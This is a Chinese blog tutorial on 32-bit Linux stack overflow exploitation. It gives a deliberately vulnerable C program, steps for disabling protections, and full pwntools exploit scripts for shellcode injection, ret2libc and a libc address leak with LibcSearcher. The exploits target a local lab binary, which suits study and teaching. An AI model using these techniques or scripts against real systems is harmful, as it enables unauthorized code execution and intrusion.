• ROP | 蒸米 -x86


    ROP | 无防护下 shellcode

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>  //"unistd.h" iniclude many functions ,sush as ,read,write
    void vulnerable_function()
    {
    char buf[128];
    read(STDIN_FILENO, buf, 256);//0 STDIN_FILENO 
    }
    int main(int argc, char** argv)
    {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World
    ", 13);//1 STDOUT_FILENO
    }
    

    关闭保护:gcc -m32 -fno-stack-protector -z execstack -o test test.c 关闭canary,NX

    root@ubuntu:~# echo 0 > /proc/sys/kernel/randomize_va_space
    

    关闭ASLR

    正常流程:main->vul(输入点,256>128)->write
    但是编译器在经过编译,汇编,链接后的栈空间会适当的调整,buf是128,但是栈的空间并非128

    cyclic
    usage: pwn cyclic [-h] [-a alphabet] [-n length] [-c context]
                      [-l lookup_value]
                      [count]
    pwn cyclic: error: argument -l/-o/--offset/--lookup: expected one argument
    cyclic N
    cyclic -l 字符(报错位置)//显示偏移量
    

    pwntools 也提供了大量有用的命令行工具, 它们用作某些内部功能的包装。pwn cyclic当然在使用时直接cyclic就可以。

    cyclic 对于直接的缓冲区溢出,可以很方便的确认再偏移多少可以控制eip 。

    gdb ./test
    disas main  
    b * 0x08048471
    r
    c
    

    Program received signal SIGSEGV, Segmentation fault.出现段错误

                   |cyclic字符 |
                   |cyclic字符 |
                   |cyclic字符 |
    |ret address|=>|0x6261616b | 不存在的地址从而报错 
    
    root@ubuntu:/home/chen/Desktop# cyclic -l  0x6261616b
    140
    

    offset:140

    gdb:下确定shellcode位置

    gdb下的固定地址与直接执行的固定地址未必一值,对shellcode的地址确定带来干扰
    利用直接执行的核心转储文件core,在gdb下查看报错信息,从而确定其在直接执行下的内存地址(ulimit -c unlimted)

    gdb test core
    x/10s $esp-144
    

    140+4(eip/ret)<-esp,下图显示esp指向ret

    :payload | shellcode
    from pwn import*
    #context.log_level='debug'
    context.arch='i386'
    context.os='Linux'
    p=process('./test')
    shellcode=asm(shellcraft.sh())
    ret_addr=0xffffd640
    payload=shellcode.ljust(140,'a')+p32(ret_addr)
    p.send(payload)
    p.interactive()
    
    

    ret2libc详解

    gcc -m32 -fno-stack-protector -o test1 test.c
    echo 0 > /proc/sys/kernel/randomize_va_space
    开启了NX保护,还要关闭ASLR保护,所以在栈上注入shellcode明显无法执行,但是可以利用gdb 运行调试是挂载libc.so,在其中找到system,与'/bin/sh'字符,伪造函数调用
    场景一:A call B,(A,B)均为函数,过程中发生了什么呢?
    A
    
         <A+0x5>push 参数 -------运行到这一步 | 函数参数  | B(参数)参数入栈
    
         <A+0x9>call B    ------先将addr入栈,作为函数返回地址保存   | addr |(跳到B的代码段)-------
    addr <A+0xb> ...                                              |参数   |                      |
                                                                                                 |--->B:(eip=B)
                                                                                                  push ebp
                                                                                                  mov  ebp,esp//ebp=esp
                                                                                                  sub  esp,0xc//开辟栈空间
                                                                                                
                                                                                                  |old ebp|
                                                                                                  | addr  |//此时的栈结构
                                                                                                  |参数    |  
                                                                             
    

    B执行完了,之后呢?

    add esp,0xc
    pop old ebp//ebp指针被赋予栈中旧的EBP
    pop addr//eip=addr
    

    现在addr被篡改成恶意的地址

    (控制eip)| normal addr|->|system|----------》pop system 到eip------------------>system:
                             |addr |  
                             |参数 |
                                                                                                                                                                                                                                   结构:------------------------------------------------------------------------->push ebp
                                                                                   mov  ebp,esp//ebp=esp
                                                                                   sub  esp,0xc//开辟栈空间
                                                                       
                                                                                                  |old ebp|
                                                                                                  | addr  |//此时的栈结构
                                                                                                  |参数    |                          
    

    可能会疑惑为什么跟A call B 的模型不一样呢?其实是因为system函数在这里是一个整体,确切来讲old ebp的压栈靠system函数,只与addr其实不重要。在gdb中 print system ,find '/bin/sh',addr随便写

    from pwn import *
    context.arch='i386'
    context.log_level='debug'
    p=process('./test1')
    system= 0xf7e41940
    binsh=0xf7f6002b 
    payload=140*'a'+p32(system)+'bbbb'+p32(binsh)
    p.sendline(payload)
    p.interactive()
    


    攻击成功

    libc函数相对位置确定的利用

    echo 2 > /proc/sys/kernel/randomize_va_space 开启ALSR,用ldd(列出一个程序所需要得动态链接库(so)),可以看到libc.so的位置不确定,这也是ASLR的作用之一,干扰攻击地址的确定。

    思路:间接利用ret2lic,libc.so中的函数的相对位移确定。

     locate libc.so.6
     
    
    from pwn import*
    context.log_level='debug'
    context.arch='i386'
    libc=ELF('../../../../lib32/libc.so.6')
    elf=ELF('./test1')
    p=process('./test1')
    write_plt=elf.symbols['write']
    write_got=elf.got['write']#real addr
    #write(1,got,4)
    #start=0x08048340 .text start
    start=0x08048340
    payload=140*'a'+p32(write_plt)+p32(start)+p32(0x1)+p32(write_got)+p32(0x4)
    p.sendline(payload)
    write_real=u32(p.recv(0x4))
    offset=write_real-libc.symbols['write']
    system_real=libc.symbols['system']+offset
    binsh_real=next(libc.search('/bin/sh'))+offset
    
    payload1=140*'a'+p32(system_real)+'b'*4+p32(binsh_real)
    p.sendline(payload1)
    p.interactive()
    
    
    

    LibcSearch(libc集合) | gdb attach()

    安装
     1. git clone https://github.com/lieanu/LibcSearcher.git
     2. cd LibcSearcher
     3. sudo python setup.py install
     4. 把LibcSearcher.py放在exp相同目录下运行exp.py即可
    使用
        libc = LibcSearcher("gets",gets_real_addr)   //匹配版本
    
        libcbase = gets_real_addr – obj.dump("fgets")  //real-offset=base基址
        system_addr = libcbase + obj.dump("system")            #system 偏移
        bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移
    
    
    

    LibcSearcher详解

    使用时可以这样使用,将exp.py与可执行文件放在LibcSearch文件夹中

    from pwn import *
    from LibcSearcher import *
    elf=ELF('test1')
    p=process('./test1')
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    start =0x08048340 #start  .text
    #gdb.attach(p) attach()参数为进程号,
    payload1='A'*140+p32(write_plt)+p32(start)+p32(1)+p32(write_got)+p32(4)
    p.sendline(payload1)
    write_addr=u32(p.recv(4))
    libc=LibcSearcher('write',write_addr)
    libcbase=write_addr-libc.dump("write")
    #print(libcbase)
    system_addr=libcbase+libc.dump("system")
    binsh_addr=libcbase+libc.dump("str_bin_sh")
    payload2='A'*140+p32(system_addr)+p32(1234)+p32(binsh_addr)
    p.sendline(payload2)
    p.interactive()
    
    

    gdb attach() 说明

    参考:
    http://www.vuln.cn/6645
    https://www.codetd.com/article/7778682
    https://xz.aliyun.com/t/3944

  • 相关阅读:
    ZH奶酪:Python 中缀表达式转换后缀表达式
    ZH奶酪:IBG项目工作内容
    ZH奶酪:通过CSS自定义HTML中hr样式-颜色-形状
    ZH奶酪:Yii PHP sum SQL查询语句
    ZH奶酪:纯CSS自定义Html中Checkbox复选框样式
    ZH奶酪:Ubuntu客户端通过SSH方式远程登录Ubuntu服务器
    ZH奶酪:PHP判断图片格式的7种方法
    ZH奶酪:PHP上传图片三个步骤
    ZH奶酪:PHP图片压缩(TinyPNG在线API)和(使用Imagick扩展)
    ZH奶酪:Linux/Ubuntu 安装/卸载 软件
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/13213771.html
Copyright © 2020-2023  润新知